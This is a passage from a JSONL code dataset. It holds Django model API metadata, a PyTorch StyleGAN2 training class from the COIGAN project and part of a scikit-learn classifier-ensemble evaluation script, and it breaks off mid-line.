"usage_type": "call"}, {"api_name": "django.db.models", "line_number": 38, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 38, "usage_type": "attribute"}, {"api_name": "django.db.models.ForeignKey", "line_number": 39, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 39, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 39, "usage_type": "attribute"}, {"api_name": "django.db.models.TextField", "line_number": 40, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 40, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 41, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 41, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 42, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 42, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 43, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 43, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 44, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 44, "usage_type": "name"}, {"api_name": "utils.base.base_model.BaseModel", "line_number": 54, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 55, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 55, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 56, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 56, "usage_type": "name"}, {"api_name": "django.db.models.FileField", "line_number": 59, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 59, "usage_type": "name"}, {"api_name": "django.core.validators.FileExtensionValidator", "line_number": 61, "usage_type": "call"}, {"api_name": "utils.base.base_model.BaseModel", "line_number": 73, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 74, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 74, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 74, "usage_type": "attribute"}, {"api_name": "django.db.models.FileField", "line_number": 76, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 76, "usage_type": "name"}, {"api_name": "django.core.validators.FileExtensionValidator", "line_number": 78, "usage_type": "call"}, {"api_name": "utils.base.base_model.BaseModel", "line_number": 90, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 91, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 91, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 92, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 92, "usage_type": "name"}, {"api_name": "django.db.models.FileField", "line_number": 95, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 95, "usage_type": "name"}, {"api_name": "django.core.validators.FileExtensionValidator", "line_number": 97, "usage_type": "call"}]}
{"seq_id": "33922241718", "text": "import math\nimport random\nimport os\n\nimport torch\nfrom torch import nn, autograd, optim\nfrom torch.nn import functional as F\nfrom torch.utils import data\nfrom torchvision import utils\nfrom torchvision.datasets import ImageFolder\nfrom tqdm import tqdm\n\nfrom omegaconf import OmegaConf, read_write\n\ntry:\n    import wandb\n\nexcept ImportError:\n    wandb = None\n\nfrom COIGAN.utils.ddp_utils import (\n    get_rank,\n    reduce_loss_dict,\n    reduce_sum,\n    get_world_size,\n    data_sampler\n)\n\nfrom COIGAN.modules.stylegan2.op import conv2d_gradfix\nfrom COIGAN.modules.stylegan2.swagan import Generator, Discriminator\n\nclass stylegan2_trainer:\n\n    def __init__(self, rank, config: OmegaConf, dataset):\n        \"\"\" \n            Initialize the trainer\n\n            Args:\n                rank (int): rank of the process\n                config (OmegaConf): configuration\n                dataset (torch.utils.data.Dataset): dataset\n            \n        \"\"\"\n\n        self.config = config\n        self.device = rank\n\n        self.generator = Generator(\n            self.config.size, \n            self.config.latent, \n            self.config.n_mlp, \n            channel_multiplier=self.config.channel_multiplier,\n            out_channels=self.config.channels\n        ).to(self.device)\n\n        self.discriminator = Discriminator(\n            self.config.size, \n            channel_multiplier=self.config.channel_multiplier,\n            input_channels=self.config.channels\n        ).to(self.device)\n\n        # perche un g_ema in ogni thread invece di tenerene uno solo nel primo thread?\n        self.g_ema = Generator(\n            self.config.size, \n            self.config.latent, \n            self.config.n_mlp, \n            channel_multiplier=self.config.channel_multiplier,\n            out_channels=self.config.channels\n        ).to(self.device)\n\n        self.g_ema.eval()\n        self.accumulate(self.g_ema, self.generator, 0)\n\n        g_reg_ratio = self.config.g_reg_every / (self.config.g_reg_every + 1)\n        d_reg_ratio = self.config.d_reg_every / (self.config.d_reg_every + 1)\n\n        self.g_optim = optim.Adam(\n            self.generator.parameters(),\n            lr=self.config.lr * g_reg_ratio,\n            betas=(0 ** g_reg_ratio, 0.99 ** g_reg_ratio),\n        )\n\n        self.d_optim = optim.Adam(\n            self.discriminator.parameters(),\n            lr=self.config.lr * d_reg_ratio,\n            betas=(0 ** d_reg_ratio, 0.99 ** d_reg_ratio),\n        )\n\n        # loading checkpoint\n        if self.config.ckpt is not None:\n            print(\"load model:\", self.config.ckpt)\n\n            ckpt = torch.load(self.config.ckpt, map_location=lambda storage, loc: storage)\n\n            try:\n                ckpt_name = os.path.basename(self.config.ckpt)\n                with read_write(self.config):\n                    self.config.start_iter = int(os.path.splitext(ckpt_name)[0])\n\n            except ValueError:\n                pass\n\n            self.generator.load_state_dict(ckpt[\"g\"])\n            self.discriminator.load_state_dict(ckpt[\"d\"])\n            self.g_ema.load_state_dict(ckpt[\"g_ema\"])\n\n            self.g_optim.load_state_dict(ckpt[\"g_optim\"])\n            self.d_optim.load_state_dict(ckpt[\"d_optim\"])\n\n        if self.config.distributed:\n            # if using multiple GPUs, wrap the models with DistributedDataParallel\n            self.generator = nn.parallel.DistributedDataParallel(\n                self.generator,\n                device_ids=[rank],\n                output_device=rank,\n                broadcast_buffers=False,\n            )\n\n            self.discriminator = nn.parallel.DistributedDataParallel(\n                self.discriminator,\n                device_ids=[rank],\n                output_device=rank,\n                broadcast_buffers=False,\n            )\n\n        # check if the dataset object has the method on_worker_init\n        # if so, use it to initialize the workers\n        worker_init_fn = None\n        if hasattr(dataset, \"on_worker_init\"):\n            worker_init_fn = dataset.on_worker_init\n\n        # define the dataloader\n        self.loader = data.DataLoader(\n            dataset,\n            batch_size=self.config.batch,\n            sampler=data_sampler(dataset, shuffle=True, distributed=self.config.distributed),\n            drop_last=True,\n            num_workers=self.config.num_workers,\n            worker_init_fn=worker_init_fn\n        )\n\n        # initialize wandb\n        if get_rank() == 0 and wandb is not None and self.config.wandb:\n            wandb.init(\n                project=self.config.wandb_project, \n                entity=self.config.wandb_entity,\n                mode=self.config.wandb_mode\n            )\n\n            wandb.config.update(\n                OmegaConf.to_container(\n                    self.config\n                )\n            )\n        \n\n    def train(self):\n\n        loader = self.sample_data(self.loader)\n\n        pbar = range(self.config.iter)\n\n        if get_rank() == 0:\n            pbar = tqdm(pbar, initial=self.config.start_iter, dynamic_ncols=True, smoothing=0.01)\n\n        mean_path_length = 0\n\n        d_loss_val = 0\n        r1_loss = torch.tensor(0.0, device=self.device)\n        g_loss_val = 0\n        path_loss = torch.tensor(0.0, device=self.device)\n        path_lengths = torch.tensor(0.0, device=self.device)\n        mean_path_length_avg = 0\n        loss_dict = {}\n\n        if self.config.distributed:\n            self.g_module = self.generator.module\n            self.d_module = self.discriminator.module\n\n        else:\n            self.g_module = self.generator\n            self.d_module = self.discriminator\n\n        # exponential moving average of the generator weights\n        accum = 0.5 ** (32 / (10 * 1000)) # = 0.9977843871\n        r_t_stat = 0\n\n        sample_z = torch.randn(self.config.n_sample, self.config.latent, device=self.device)\n\n        # if the dataset is ImageFolder, the first element of the tuple are the images\n        imgFolderDs = False\n        if isinstance(self.loader.dataset, ImageFolder):\n            imgFolderDs = True\n\n        for idx in pbar:\n            i = idx + self.config.start_iter\n\n            if i > self.config.iter:\n                print(\"Done!\")\n\n                break\n\n            # get the data\n            real_img = next(loader)\n\n            # if the dataset is ImageFolder, the first element of the tuple are the images\n            if imgFolderDs:\n                real_img = real_img[0]\n\n            #DEBUG\n            #one_img = real_img[0]\n            real_img = real_img.to(self.device)\n\n            # train the discriminator\n            self.requires_grad(self.generator, False)\n            self.requires_grad(self.discriminator, True)\n\n            noise = self.mixing_noise(self.config.batch, self.config.latent, self.config.mixing, self.device)\n            fake_img, _ = self.generator(noise)\n\n            real_img_aug = real_img\n\n            fake_pred = self.discriminator(fake_img)\n            real_pred = self.discriminator(real_img_aug)\n\n            # calculate the discriminator loss\n            d_loss = self.d_logistic_loss(real_pred, fake_pred)\n\n            loss_dict[\"d\"] = d_loss\n            loss_dict[\"real_score\"] = real_pred.mean()\n            loss_dict[\"fake_score\"] = fake_pred.mean()\n\n            # update the discriminator\n            self.discriminator.zero_grad()\n            d_loss.backward()\n            self.d_optim.step()\n\n            # apply the discriminator regularizations\n            d_regularize = i % self.config.d_reg_every == 0\n            if d_regularize:\n                real_img.requires_grad = True\n\n                real_img_aug = real_img\n\n                real_pred = self.discriminator(real_img_aug)\n                r1_loss = self.d_r1_loss(real_pred, real_img)\n\n                self.discriminator.zero_grad()\n                r1_weighted_loss = (self.config.r1 / 2) * r1_loss * self.config.d_reg_every\n                r1_weighted_loss.backward()\n\n                self.d_optim.step()\n\n            loss_dict[\"r1\"] = r1_loss\n\n            # train the generator\n            self.requires_grad(self.generator, True)\n            self.requires_grad(self.discriminator, False)\n\n            noise = self.mixing_noise(self.config.batch, self.config.latent, self.config.mixing, self.device)\n            fake_img, _ = self.generator(noise)\n\n            fake_pred = self.discriminator(fake_img)\n\n            # calculate the generator loss\n            g_loss = self.g_nonsaturating_loss(fake_pred)\n\n            loss_dict[\"g\"] = g_loss\n\n            self.generator.zero_grad()\n            g_loss.backward()\n            self.g_optim.step()\n\n            # apply the generator regularizations\n            g_regularize = i % self.config.g_reg_every == 0\n\n            if g_regularize:\n                path_batch_size = max(1, self.config.batch // self.config.path_batch_shrink)\n                noise = self.mixing_noise(path_batch_size, self.config.latent, self.config.mixing, self.device)\n                fake_img, latents = self.generator(noise, return_latents=True)\n\n                path_loss, mean_path_length, path_lengths = self.g_path_regularize(\n                    fake_img, latents, mean_path_length\n                )\n\n                self.generator.zero_grad()\n                weighted_path_loss = self.config.path_regularize * self.config.g_reg_every * path_loss\n\n                if self.config.path_batch_shrink:\n                    weighted_path_loss += 0 * fake_img[0, 0, 0, 0]\n\n                weighted_path_loss.backward()\n\n                self.g_optim.step()\n\n                mean_path_length_avg = (\n                    reduce_sum(mean_path_length).item() / get_world_size()\n                )\n\n            loss_dict[\"path\"] = path_loss\n            loss_dict[\"path_length\"] = path_lengths.mean()\n\n            self.accumulate(self.g_ema, self.g_module, accum)\n\n            loss_reduced = reduce_loss_dict(loss_dict)\n            \n            d_loss_val = loss_reduced[\"d\"].mean().item()\n            g_loss_val = loss_reduced[\"g\"].mean().item()\n            r1_val = loss_reduced[\"r1\"].mean().item()\n            path_loss_val = loss_reduced[\"path\"].mean().item()\n            real_score_val = loss_reduced[\"real_score\"].mean().item()\n            fake_score_val = loss_reduced[\"fake_score\"].mean().item()\n            path_length_val = loss_reduced[\"path_length\"].mean().item()\n\n            if get_rank() == 0:\n                pbar.set_description(\n                    (\n                        f\"d: {d_loss_val:.4f}; g: {g_loss_val:.4f}; r1: {r1_val:.4f}; \"\n                        f\"path: {path_loss_val:.4f}; mean path: {mean_path_length_avg:.4f}; \"\n                    )\n                )\n\n                if i % 100 == 0:\n                    with torch.no_grad():\n                        self.g_ema.eval()\n                        sample, _ = self.g_ema([sample_z])\n                        grid_sample = utils.make_grid(\n                            sample, \n                            nrow=int(self.config.n_sample ** 0.5), \n                            normalize=True, \n                            value_range=(0, 1)\n                        )\n                        utils.save_image(\n                            grid_sample,\n                            f\"{self.config.sampl_dir}/{str(i).zfill(6)}.png\"\n                        )\n                        wandb.log({\"Samples\": wandb.Image(grid_sample)})\n\n                if wandb and self.config.wandb:\n                    wandb.log(\n                        {\n                            \"Generator\": g_loss_val,\n                            \"Discriminator\": d_loss_val,\n                            \"Rt\": r_t_stat,\n                            \"R1\": r1_val,\n                            \"Path Length Regularization\": path_loss_val,\n                            \"Mean Path Length\": mean_path_length,\n                            \"Real Score\": real_score_val,\n                            \"Fake Score\": fake_score_val,\n                            \"Path Length\": path_length_val,\n                        }\n                    )\n\n                if i % 10000 == 0:\n                    torch.save(\n                        {\n                            \"g\": self.g_module.state_dict(),\n                            \"d\": self.d_module.state_dict(), \n                            \"g_ema\": self.g_ema.state_dict(),\n                            \"g_optim\": self.g_optim.state_dict(),\n                            \"d_optim\": self.d_optim.state_dict(),\n                            \"self.config\": self.config,\n                        },\n                        f\"{self.config.ckpt_dir}/{str(i).zfill(6)}.pt\",\n                    )\n\n    @staticmethod\n    def requires_grad(model, flag=True):\n        for p in model.parameters():\n            p.requires_grad = flag\n\n    @staticmethod\n    def accumulate(model1, model2, decay=0.999):\n        par1 = dict(model1.named_parameters())\n        par2 = dict(model2.named_parameters())\n\n        for k in par1.keys():\n            par1[k].data.mul_(decay).add_(par2[k].data, alpha=1 - decay)\n\n    @staticmethod\n    def sample_data(loader):\n        while True:\n            for batch in loader:\n                yield batch\n\n    @staticmethod\n    def d_logistic_loss(real_pred, fake_pred):\n        real_loss = F.softplus(-real_pred)\n        fake_loss = F.softplus(fake_pred)\n\n        return real_loss.mean() + fake_loss.mean()\n\n    @staticmethod\n    def d_r1_loss(real_pred, real_img):\n        with conv2d_gradfix.no_weight_gradients():\n            grad_real, = autograd.grad(\n                outputs=real_pred.sum(), inputs=real_img, create_graph=True\n            )\n        grad_penalty = grad_real.pow(2).reshape(grad_real.shape[0], -1).sum(1).mean()\n\n        return grad_penalty\n\n    @staticmethod\n    def g_nonsaturating_loss(fake_pred):\n        loss = F.softplus(-fake_pred).mean()\n\n        return loss\n\n    @staticmethod\n    def g_path_regularize(fake_img, latents, mean_path_length, decay=0.01):\n\n        noise = torch.randn_like(fake_img) / math.sqrt(\n            fake_img.shape[2] * fake_img.shape[3]\n        )\n\n        grad, = autograd.grad(\n            outputs=(fake_img * noise).sum(), inputs=latents, create_graph=True\n        )\n\n        path_lengths = torch.sqrt(grad.pow(2).sum(2).mean(1))\n\n        path_mean = mean_path_length + decay * (path_lengths.mean() - mean_path_length)\n\n        path_penalty = (path_lengths - path_mean).pow(2).mean()\n\n        return path_penalty, path_mean.detach(), path_lengths\n\n    @staticmethod\n    def make_noise(batch, latent_dim, n_noise, device):\n        if n_noise == 1:\n            return torch.randn(batch, latent_dim, device=device)\n\n        noises = torch.randn(n_noise, batch, latent_dim, device=device).unbind(0)\n\n        return noises\n\n    @staticmethod\n    def mixing_noise(batch, latent_dim, prob, device):\n        if prob > 0 and random.random() < prob:\n            return stylegan2_trainer.make_noise(batch, latent_dim, 2, device)\n\n        else:\n            return [stylegan2_trainer.make_noise(batch, latent_dim, 1, device)]\n\n    @staticmethod\n    def set_grad_none(model, targets):\n        for n, p in model.named_parameters():\n            if n in targets:\n                p.grad = None", "repo_name": "MassimilianoBiancucci/COIGAN-controllable-object-inpainting", "sub_path": "COIGAN/COIGAN/shape_training/trainers/stylegan2_trainer.py", "file_name": "stylegan2_trainer.py", "file_ext": "py", "file_size_in_byte": 15209, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "omegaconf.OmegaConf", "line_number": 34, "usage_type": "name"}, {"api_name": "COIGAN.modules.stylegan2.swagan.Generator", "line_number": 48, "usage_type": "call"}, {"api_name": "COIGAN.modules.stylegan2.swagan.Discriminator", "line_number": 56, "usage_type": "call"}, {"api_name": "COIGAN.modules.stylegan2.swagan.Generator", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 77, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 83, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path", "line_number": 96, "usage_type": "attribute"}, {"api_name": "omegaconf.read_write", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path", "line_number": 98, "usage_type": "attribute"}, {"api_name": "torch.nn.parallel.DistributedDataParallel", "line_number": 112, "usage_type": "call"}, {"api_name": "torch.nn.parallel", "line_number": 112, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 112, "usage_type": "name"}, {"api_name": "torch.nn.parallel.DistributedDataParallel", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.nn.parallel", "line_number": 119, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 119, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 133, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 133, "usage_type": "name"}, {"api_name": "COIGAN.utils.ddp_utils.data_sampler", "line_number": 136, "usage_type": "call"}, {"api_name": "COIGAN.utils.ddp_utils.get_rank", "line_number": 143, "usage_type": "call"}, {"api_name": "wandb.init", "line_number": 144, "usage_type": "call"}, {"api_name": "wandb.config.update", "line_number": 150, "usage_type": "call"}, {"api_name": "wandb.config", "line_number": 150, "usage_type": "attribute"}, {"api_name": "omegaconf.OmegaConf.to_container", "line_number": 151, "usage_type": "call"}, {"api_name": "omegaconf.OmegaConf", "line_number": 151, "usage_type": "name"}, {"api_name": "COIGAN.utils.ddp_utils.get_rank", "line_number": 163, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 164, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 169, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 171, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 172, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 188, "usage_type": "call"}, {"api_name": "torchvision.datasets.ImageFolder", "line_number": 192, "usage_type": "argument"}, {"api_name": "COIGAN.utils.ddp_utils.reduce_sum", "line_number": 297, "usage_type": "call"}, {"api_name": "COIGAN.utils.ddp_utils.get_world_size", "line_number": 297, "usage_type": "call"}, {"api_name": "COIGAN.utils.ddp_utils.reduce_loss_dict", "line_number": 305, "usage_type": "call"}, {"api_name": "COIGAN.utils.ddp_utils.get_rank", "line_number": 315, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 324, "usage_type": "call"}, {"api_name": "torchvision.utils.make_grid", "line_number": 327, "usage_type": "call"}, {"api_name": "torchvision.utils", "line_number": 327, "usage_type": "name"}, {"api_name": "torchvision.utils.save_image", "line_number": 333, "usage_type": "call"}, {"api_name": "torchvision.utils", "line_number": 333, "usage_type": "name"}, {"api_name": "wandb.log", "line_number": 337, "usage_type": "call"}, {"api_name": "wandb.Image", "line_number": 337, "usage_type": "call"}, {"api_name": "wandb.log", "line_number": 340, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 355, "usage_type": "call"}, {"api_name": "torch.nn.functional.softplus", "line_number": 388, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 388, "usage_type": "name"}, {"api_name": "torch.nn.functional.softplus", "line_number": 389, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 389, "usage_type": "name"}, {"api_name": "COIGAN.modules.stylegan2.op.conv2d_gradfix.no_weight_gradients", "line_number": 395, "usage_type": "call"}, {"api_name": "COIGAN.modules.stylegan2.op.conv2d_gradfix", "line_number": 395, "usage_type": "name"}, {"api_name": "torch.autograd.grad", "line_number": 396, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 396, "usage_type": "name"}, {"api_name": "torch.nn.functional.softplus", "line_number": 405, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 405, "usage_type": "name"}, {"api_name": "torch.randn_like", "line_number": 412, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 412, "usage_type": "call"}, {"api_name": "torch.autograd.grad", "line_number": 416, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 416, "usage_type": "name"}, {"api_name": "torch.sqrt", "line_number": 420, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 431, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 433, "usage_type": "call"}, {"api_name": "random.random", "line_number": 439, "usage_type": "call"}]}
{"seq_id": "41329100307", "text": "import os\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.exceptions import ConvergenceWarning\nfrom sklearn.utils._testing import ignore_warnings\n\nfrom algorithms.ada import create_label_for_ADA_from_row, create_ADA_classifier\nfrom algorithms.dt import create_label_for_DT_for_row, create_DT_classifier\nfrom algorithms.enums import Algorithms, SVM_Kernels\nfrom algorithms.gpc import create_GPC_classifier\nfrom algorithms.knn import create_label_for_KNN_for_row, create_KNN_classifier\nfrom algorithms.lr import create_label_LR_for_row, create_LR_classifier\nfrom algorithms.mlp import create_MLP_classifier\nfrom algorithms.nb import create_label_BNB_for_row, create_label_for_GNB_for_row, create_BNB_classifier, \\\n    create_GNB_classifier\nfrom algorithms.qlda import create_label_LDA_for_row, create_LDA_classifier\nfrom algorithms.rfc import create_label_for_rfc_for_row, create_RF_classifier\nfrom algorithms.svm import create_label_SVM_for_row, create_SVM_classifier\nfrom algorithms.xgb import create_label_for_XGB_for_row, create_XGB_classifier\nfrom utils.data_post import compute_average_metric, compute_roc_auc_score_100\nfrom utils.data_pre import split_data_in_testing_training, load_normalized_dataset\nfrom utils.utils import prediction, appendMetricsTOCSV, cal_metrics_general\n\nnp.set_printoptions(linewidth=100000)\n\n\n@ignore_warnings(category=ConvergenceWarning)\ndef run_algorithm_ensemble_configuration(metrics, label, ensemble, X, y, list_classifiers, no_classifiers=3,\n                                         train_size=0.8, stratify=False):\n    X_train, X_test, y_train, y_test = split_data_in_testing_training(X, y, stratify, train_size)\n\n    y_pred_all = []\n    y_pred_probabilities_all = []\n    for classifier in list_classifiers:\n        # Performing training\n        classifier.fit(X_train, y_train)\n        # Make predictions\n        y_pred, y_pred_probabilities = prediction(X_test, classifier)\n        y_pred_all.append(y_pred)\n        y_pred_probabilities_all.append(y_pred_probabilities.tolist())\n\n    y_pred = list(map(lambda x: round(x / no_classifiers), [sum(x) for x in zip(*y_pred_all)]))\n    y_pred_probabilities = []\n    length_y_pred_prob = len(y_pred_probabilities_all[0])\n    for i in range(length_y_pred_prob):\n        y_pred_probabilities_1 = y_pred_probabilities_all[0]\n        y_pred_probabilities_2 = y_pred_probabilities_all[1]\n        y_pred_probabilities_3 = y_pred_probabilities_all[2]\n        v1 = round((y_pred_probabilities_1[i][0] + y_pred_probabilities_2[i][0] + y_pred_probabilities_3[i][\n            0]) / no_classifiers, 2)\n        v2 = round((y_pred_probabilities_1[i][1] + y_pred_probabilities_2[i][1] + y_pred_probabilities_3[i][\n            1]) / no_classifiers, 2)\n        y_pred_probabilities.append([v1, v2])\n\n    # sum_prob = [np.sum(x) for x in zip(*y_pred_probabilities_all)]\n    # y_pred_probabilities = list(\n    #     map(lambda x: [round(x[0] / no_classifiers, 2), round(x[1] / no_classifiers, 2)], sum_prob))\n\n    # Compute metrics\n    precision, recall, f1, roc_auc = cal_metrics_general(y_test, y_pred, y_pred_probabilities)\n\n    metrics['label'].append(label)\n    metrics['ensemble'].append(ensemble)\n    metrics['precision'].append(precision)\n    metrics['recall'].append(recall)\n    metrics['f1_score'].append(f1)\n    metrics['roc_auc'].append(roc_auc)\n\n\ndef init_metrics_for_ensembles():\n    return {'label': [], 'ensemble': [], 'precision': [], 'recall': [], 'f1_score': [], 'roc_auc': []}\n\n\ndef load_df_configs_for_algs(ens: [Algorithms]):\n    df_configs = {}\n    for en in ens:\n        if en == Algorithms.DT:\n            # df_config = pd.read_csv('new_results/dt/best-dt-1.csv')\n            df_config = pd.read_csv('new_results\\\\dt\\\\best-dt-macs.csv')\n        elif en == Algorithms.KNN:\n            # df_config = pd.read_csv('new_results/knn/best-knn-1.csv')\n            df_config = pd.read_csv('new_results\\\\knn\\\\best-knn-macs.csv')\n        elif en == Algorithms.RF:\n            # df_config = pd.read_csv('new_results/rfc/best-rfc-1.csv')\n            df_config = pd.read_csv('new_results\\\\rfc\\\\best-rfc-macs.csv')\n        elif en == Algorithms.ADA:\n            # df_config = pd.read_csv('new_results/ada/best-ada-1.csv')\n            df_config = pd.read_csv('new_results\\\\ada\\\\best-ada-1.csv')\n        elif en == Algorithms.LR:\n            # df_config = pd.read_csv('new_results/lr/best-lr-1.csv')\n            df_config = pd.read_csv('new_results\\\\lr\\\\best-lr-1.csv')\n        elif en == Algorithms.BNB:\n            # df_config = pd.read_csv('new_results/nb/best-bnb-1.csv')\n            df_config = pd.read_csv('new_results\\\\nb\\\\best-bnb-1.csv')\n        elif en == Algorithms.GNB:\n            # df_config = pd.read_csv('new_results/rfc/best-gnb-1.csv')\n            df_config = pd.read_csv('new_results\\\\rfc\\\\best-gnb-1.csv')\n        elif en == Algorithms.LDA:\n            # df_config = pd.read_csv('new_results/qlda/best-lda-1.csv')\n            df_config = pd.read_csv('new_results\\\\qlda\\\\best-lda-1.csv')\n        elif en == Algorithms.SVM_rbf:\n            # df_config = pd.read_csv('new_results/svc/best-rbf-1.csv')\n            df_config = pd.read_csv('new_results\\\\svc\\\\best-rbf-1.csv')\n        elif en == Algorithms.SVM_linear:\n            # df_config = pd.read_csv('new_results/svc/best-linear-1.csv')\n            df_config = pd.read_csv('new_results\\\\svc\\\\best-linear-1.csv')\n        elif en == Algorithms.SVM_sigmoid:\n            # df_config = pd.read_csv('new_results/svc/best-sigmoid-1.csv')\n            df_config = pd.read_csv('new_results\\\\svc\\\\best-sigmoid-1.csv')\n        elif en == Algorithms.SVM_poly:\n            # df_config = pd.read_csv('new_results/svc/best-poly-1.csv')\n            df_config = pd.read_csv('new_results\\\\svc\\\\best-poly-1.csv')\n        elif en == Algorithms.XGB:\n            # df_config = pd.read_csv('new_results/xgb/best-xgb-1.csv')\n            df_config = pd.read_csv('new_results\\\\xgb\\\\best-xgb-1.csv')\n        elif en == Algorithms.MLP:\n            # df_config = pd.read_csv('new_results/mlp/best-mlp-1.csv')\n            df_config = pd.read_csv('new_results\\\\mlp\\\\best-mlp-1.csv')\n        elif en == Algorithms.GPC:\n            # df_config = pd.read_csv('new_results/gpc/best-gpc-1.csv')\n            df_config = pd.read_csv('new_results\\\\gpc\\\\best-gpc-1.csv')\n        else:\n            # df_config = pd.read_csv('new_results/gpc/best-gpc-1.csv')\n            df_config = pd.read_csv('new_results\\\\gpc\\\\best-gpc-1.csv')\n        df_configs[en] = df_config\n    return df_configs\n\n\ndef create_classifiers(algs, rows):\n    classifiers = []\n    for i in range(0, len(algs)):\n        alg = algs[i]\n        row = rows[i]\n        if (alg == Algorithms.ADA):\n            classifier = create_ADA_classifier(row)\n        elif (alg == Algorithms.DT):\n            classifier = create_DT_classifier(row)\n        elif (alg == Algorithms.KNN):\n            classifier = create_KNN_classifier(row)\n        elif (alg == Algorithms.RF):\n            classifier = create_RF_classifier(row)\n        elif (alg == Algorithms.LR):\n            classifier = create_LR_classifier(row)\n        elif (alg == Algorithms.BNB):\n            classifier = create_BNB_classifier(row)\n        elif (alg == Algorithms.GNB):\n            classifier = create_GNB_classifier(row)\n        elif (alg == Algorithms.LDA):\n            classifier = create_LDA_classifier(row)\n        elif (alg == Algorithms.XGB):\n            classifier = create_XGB_classifier(row)\n        elif (alg == Algorithms.SVM_rbf):\n            classifier = create_SVM_classifier(SVM_Kernels.rbf, row)\n        elif (alg == Algorithms.SVM_poly):\n            classifier = create_SVM_classifier(SVM_Kernels.poly, row)\n        elif (alg == Algorithms.SVM_sigmoid):\n            classifier = create_SVM_classifier(SVM_Kernels.sigmoid, row)\n        elif (alg == Algorithms.SVM_linear):\n            classifier = create_SVM_classifier(SVM_Kernels.linear, row)\n        elif (alg == Algorithms.MLP):\n            classifier = create_MLP_classifier(row)\n        elif (alg == Algorithms.GPC):\n            classifier = create_GPC_classifier(row)\n        else:\n            classifier = None\n        classifiers.append(classifier)\n    return classifiers\n\n\ndef run_algorithm_ensemble_parallel(q_metrics, filename='', path='', stratify=True, train_size=0.8,\n                                    normalize_data=True, scaler='min-max', no_repeats=100, ens: [Algorithms] = None,\n                                    ):\n    if ens == None or len(ens) < 3:\n        return\n    y, X = load_normalized_dataset(file=None, normalize=normalize_data, scaler=scaler)\n    metrics = init_metrics_for_ensembles()\n\n    # my_filename = os.path.join(path, 'new_results\\\\ens', filename)\n    my_filename = os.path.join(path, 'results\\\\ens', filename)\n\n    # df_configs e dictionar\n    df_configs = load_df_configs_for_algs(ens)\n    # for alg, df_config in df_configs.items():\n    #     print(alg, '->', df_config.head())\n\n    algs = list(df_configs.keys())\n    # df_configs_values = df_configs.values()\n    df_config_1 = df_configs[algs[0]]\n    df_config_2 = df_configs[algs[1]]\n    df_config_3 = df_configs[algs[2]]\n\n    for index_1, row_1 in df_config_1.iterrows():\n        for index_2, row_2 in df_config_2.iterrows():\n            for index_3, row_3 in df_config_3.iterrows():\n                for i in range(0, no_repeats):\n                    label, ensemble = create_label_for_ensemble(algs, [row_1, row_2, row_3])\n                    classifiers = create_classifiers(algs, [row_1, row_2, row_3])\n                    run_algorithm_ensemble_configuration(metrics, label, ensemble, X, y, classifiers, len(classifiers),\n                                                         train_size=train_size, stratify=stratify)\n\n    metrics_df = pd.DataFrame(metrics)\n    metrics_df = metrics_df.groupby(['label'], as_index=False).agg(\n        {'ensemble': 'first', 'precision': 'mean', 'recall': 'mean', 'f1_score': 'mean', 'roc_auc': 'mean'})\n    metrics_df = compute_average_metric(metrics_df)\n    metrics_df = compute_roc_auc_score_100(metrics_df)\n    metrics_df.sort_values(by=['average_metric'], ascending=False, 